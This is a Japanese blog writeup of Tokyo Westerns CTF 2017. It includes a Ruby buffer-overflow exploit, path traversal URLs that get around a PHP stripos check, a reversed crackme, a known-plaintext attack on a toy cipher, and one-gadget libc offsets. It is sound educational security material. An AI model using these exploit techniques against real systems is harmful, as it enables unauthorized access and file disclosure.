LoginSignup
0
0

More than 5 years have passed since last update.

Tokyo Westerns CTF 3rd 2017 Writeup

Last updated at Posted at 2017-09-04

nicklegrで個人参加。
146点で179位(901チーム中)でした。
解いたチーム数で得点が変動するシステム。

Warmup問題しか解けませんでしたが、その他も良問の予感がしました。

今回はpwnlib.rbをお借りしました。PwnはもちろんPPCでも便利でした。

Welcome!!

The flag is "TWCTF{Welcome_To_TWCTF2017!!}".

Just do it! (Pwn)

私でも解けた、やるだけpwn問題。

flagは0x804a080に読み込まれる。
送信した文字列はebp-0x28から書き込まれ、バッファは0x10バイトだが0x20バイトまでオーバーフローする。
"Invalid Password"へのポインタがebp-0x14にあるので、ここをflagのアドレスで上書きすればいい。
正しいパスワードを入力するとebp-0x14が上書きされ、逆に失敗する。

require_relative "pwnlib"

host = "pwn1.chal.ctf.westerns.tokyo"
port = 12482

PwnTube.open(host, port) do |tube|
  payload = [0x0].pack("C") * (0x28 - 0x14) + "\x80\xa0\x04\x08"
  tube.recv_until("Input the password.\n")
  tube.sendline(payload)
  puts tube.recv_until("\n")
end
TWCTF{pwnable_warmup_I_did_it!}

Rev Rev Rev (Reverse)

やってることはこんな感じ。

#include <stdio.h>
#include <string.h>

typedef char s8;
typedef unsigned char u8;

void remove_newline(u8* input)
{
    *strchr((char*)input, '\n') = 0;
}

void str_reverse(u8* input) // sub_80486db
{
    u8* p = input;
    u8* pLast = input + strlen((char*)input) - 1;

    while (p < pLast)
    {
        u8 pChar = *p;
        *p = *pLast;
        *pLast = pChar;
        p++;
        pLast--;
    }
}

u8 char_shuffle(u8 v)
{
    // x == eax
    // ebp-0x5 == v

    u8 x = v;
    x &= 0x55; // 0b01010101
    x += x;
    u8 y = x;

    x = v;
    x = (x & 0x80) | (x >> 1); // x >>= 1; // signed
    x &= 0x55;
    x |= y;
    v = x;

    // 08048768  0fbe45fb           movsx   eax, byte [ebp-0x5 {x}]
    x &= 0x33; // 0b00110011
    x <<= 2;
    y = x;

    // 08048774  0fb645fb           movzx   eax, byte [ebp-0x5 {x}]
    x = v;
    x = (x & 0x80) | ((x & 0x80) >> 1) | (x >> 2); // x >>= 2; // signed
    x &= 0x33;
    x |= y;
    v = x;

    // 08048783  0fbe45fb           movsx   eax, byte [ebp-0x5 {x}]
    x <<= 4;
    y = x;

    // 0804878c  0fb645fb           movzx   eax, byte [ebp-0x5 {x}]
    x = v;
    x >>= 4;
    x |= y;

    return x;
}

void str_shuffle(u8* input) // sub_8048738
{
    u8* p = input;

    while(*p)
    {
        *p = char_shuffle(*p);
        p++;
    }
}

void str_not(u8* input) // sub_80487b2
{
    u8* p = input;

    while(*p)
    {
        u8 x = *p;
        x = ~x;
        *p = x;
        p++;
    }
}

int main(void)
{
    puts("Rev! Rev! Rev!");
    printf("Your input: ");

    u8 input[0x21 + 1];
    fgets((char*)input, 0x21, stdin); // 最大0x20文字 + \n

    remove_newline(input);
    str_reverse(input);
    str_shuffle(input);
    str_not(input);

    // mov     eax, dword [804a038]
    u8 key[] = {
        0x41, 0x29, 0xd9, 0x65, 0xa1, 0xf1, 0xe1, 0xc9,
        0x19, 0x09, 0x93, 0x13, 0xa1, 0x09, 0xb9, 0x49,
        0xb9, 0x89, 0xdd, 0x61, 0x31, 0x69, 0xa1, 0xf1,
        0x71, 0x21, 0x9d, 0xd5, 0x3d, 0x15, 0xd5, 0x00, // 31文字
    };

    if (strcmp((char*)input, (char*)key) == 0) {
        puts("Correct!");
    } else {
        puts("Invalid!");
    }

    return 0;
}

これを逆算する。
str_shuffle()がよくわからなかったので変換テーブルを作って逆引きしたけど、実は2回やると元に戻るらしい。

なので関数をそのまま使って逆順に処理するのでもOK。
ただkeyの最後が0x00になってるので、strlenではなく固定で32文字処理するように書き換えが必要。

TWCTF{qpzisyDnbmboz76oglxpzYdk}

Freshen Uploader (Web)

アップロード機能がないアップローダ。

Flag 1

ファイル名が指定できるならコレでしょう。
http://fup.chal.ctf.westerns.tokyo/download.php?f=../download.php

TWCTF{then_can_y0u_read_file_list?}

Flag 2

さっきダウンロードしたソースを見ると

download.php
$filename = $_GET['f'];
if(stripos($filename, 'file_list') != false) die();

striposのリファレンスを見る。

// === を使用していることに注意しましょう。単に == としても期待通りに動作
// しません。なぜなら 'a' は 0 番目(最初) の文字だからです。
if ($pos2 !== false) {
    echo "We found '$findme' in '$mystring2' at position $pos2";
}

なるほど素晴らしい仕様だ。
先頭にダミーのfile_listを入れて、../../で帳尻を合わせる。

違うか…なんだろ

別の問題をやったあとで戻ってきて、何気なくコレを撃ったら
http://fup.chal.ctf.westerns.tokyo/download.php?f=../index.php

index.php
include('file_list.php');

ああなるほど。ファイルリストもphpなのか。
http://fup.chal.ctf.westerns.tokyo/download.php?f=file_list/../../file_list.php

file_list.php
<?php
$files = [
  [FALSE, 1, 'test.cpp', 192, '6a92b449761226434f5fce6c8e87295a'],
  [FALSE, 2, 'test.c', 325, '27259bca9edf408829bb749969449550'],
  [TRUE, 3, 'flag_ef02dee64eb575d84ba626a78ad4e0243aeefd19145bc6502efe7018c4085213', 1337, 'flag_ef02dee64eb575d84ba626a78ad4e0243aeefd19145bc6502efe7018c4085213'],
  [FALSE, 4, 'test.py', 94, '951470281beb8a490a941ac73bd10953'],
];

TWCTF{php_is_very_secure}

まったくですね。絶対書きたくない。

Palindromes Pairs - Coding Phase - (PPC)

####################################
#        Palindromes Pairs         #
####################################

A word is called "palindrome" if it reads the same backward as forward.
For instance, "cbabc", "cbc", "a", "caac" and "deaed" are palindromes.

Given the list of words s_1, s_2, s_3, ..., s_n,
your task is the count pair (i, j) that the concatenation of s_i and s_j is palindrome.


Input Format:
The first line contains n.
The second line contains s_1, s_2, s_3, ..., s_n separated by space.
n
s_1 s_2 s_3 ... s_n

Output Format:
Your program must output the number of pairs in one line.

Conditions:
 * n <= 50
 * |TestCase| = 50
 * Each word only contains lower alphabets.

Example Input 1:
3
a ba cab

Example Output 1:
3

Explanation of Example1:
'aa' (1,1), 'aba' (1,2), 'bacab' (2,3)

Example Input 2:
5
a aa aaa aaaa aaaaa

Example Output 2:
25


----- START -----
Input 1/50
28
h jl lca oh uqn ls r o vi pg j c iph kbn n caq pjw u rb lb tfq u w br bjh xl j qfd

回答より通信部分の方が手間なやつだ。

require "pp"
require_relative "pwnlib"

host = "ppc1.chal.ctf.westerns.tokyo"
port = 8765

def count(strs)
  c = 0
  for i in 0 ... strs.size
    for j in 0 ... strs.size
      s = strs[i] + strs[j]
      c += 1 if s == s.reverse
    end
  end
  c
end

PwnTube.open(host, port) do |tube|
  s = tube.recv_until(/Input \d+\/\d+\n/)
  s =~ /\d+\/(\d+)/

  num = $1.to_i
  puts "[+] #{num} problems"

  num.times do
    n = tube.recv_until(/(\d+)\n/).to_i
    strs = tube.recv_until("\n").split
    pp n, strs

    ans = count(strs)
    pp ans

    tube.sendline(ans.to_s)

    tube.recv_until(/Input \d+\/\d+\n/)
  end
end
Correct!

Congratulations! The Flag is 'TWCTF{find_favorite_smell}'.

My Simple Cipher (Crypto)

cipher.py
#!/usr/bin/python2

import sys
import random

key = sys.argv[1]
flag = '**CENSORED**'

assert len(key) == 13
assert max([ord(char) for char in key]) < 128
assert max([ord(char) for char in flag]) < 128

message = flag + "|" + key

encrypted = chr(random.randint(0, 128))

for i in range(0, len(message)):
  encrypted += chr((ord(message[i]) + ord(key[i % len(key)]) + ord(encrypted[i])) % 128)

print(encrypted.encode('hex'))
encrypted.txt
7c153a474b6a2d3f7d3f7328703e6c2d243a083e2e773c45547748667c1511333f4f745e

keyflagで未知数が2つなので、どちらかを固定しないといけない。
flagTWCTF{xxxx}のフォーマットのはずなので、keyの最初の6文字は逆算できる。

message = "TWCTF{xxxx}" + "|" + "0123456789012"
encrypted = "7c153a474b6a2d3f7d3f7328703e6c2d243a083e2e773c45547748667c1511333f4f745e"

message_ords = message.each_char.to_a.map{|e| e.ord}
encrypted_ords = [encrypted].pack("H*").unpack("c*")

key = ""
for i in 0...message.size
  key_ord = encrypted_ords[i+1] - message_ords[i] - encrypted_ords[i]
  key_ord += 128 while key_ord < 0
  key += key_ord.chr
end

puts key
# => "ENJ0YH???????"

これでデコードしてみると、

encrypted = "7c153a474b6a2d3f7d3f7328703e6c2d243a083e2e773c45547748667c1511333f4f745e"
encrypted_ords = [encrypted].pack("H*").unpack("c*")

key = "ENJ0YH???????"
key_ords = key.each_char.to_a.map{|e| e.ord}

message = ""
for i in 0...encrypted_ords.size-1
  message_ord = encrypted_ords[i+1] - key_ords[i % key.size] - encrypted_ords[i]
  message_ord += 128 while message_ord < 0
  message += message_ord.chr
end

puts message
# => TWCTF{1{wkgX-is-funXXz@A\0YHOLID/bX

なんか中途半端に解けてる。
messagekeyが一文字ずつ対応するので、対応する位置は正しくデコードできてるはず。並べてみると

msg: TWCTF{1{wkgX-is-funXXz@A\0YHOLID/bX
key: ENJ0YH???????ENJ0YH???????ENJ0YH???

ENJ0YHOLID??? までわかった。同様にもう一度デコードすると

TWCTF{CrypvXXis-fun!}|EPdXYHOLIDAY!

keyENJ0YHOLIDAY!でした。

TWCTF{Crypto-is-fun!}

swap (Pwn)

解けなかった。

入力した2つのアドレスの内容を入れ替えてくれるプログラム。
入れ替えるのは8バイト。memcpyを使うのでアラインメント制限はなし。

putsatoiのGOT(0x6010180x601050)を入れ替えると、

  • メッセージが出なくなるが問題なく動作する
    • 両者の引数がconst char*で同じなのと、putsの戻り値は全て捨てているため
  • putsは出力した文字数を返すので、送った文字数に応じてメニュー番号も指定できる

という面白い性質を見つけたけど、アドレスのリークができずにその先に進めなかった。残念。

libcにOne-gadget RCEがあったので、そこに飛ばせばよさそうなんだけど。

45271:
  rax == 0
  [rsp+0x30] == 0

f027b:
  rax == 0
  [rsp+0x50] == 0

f111e:
  rax == 0
  [rsp+0x70] == 0

他の人のWriteup

0
0
1

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0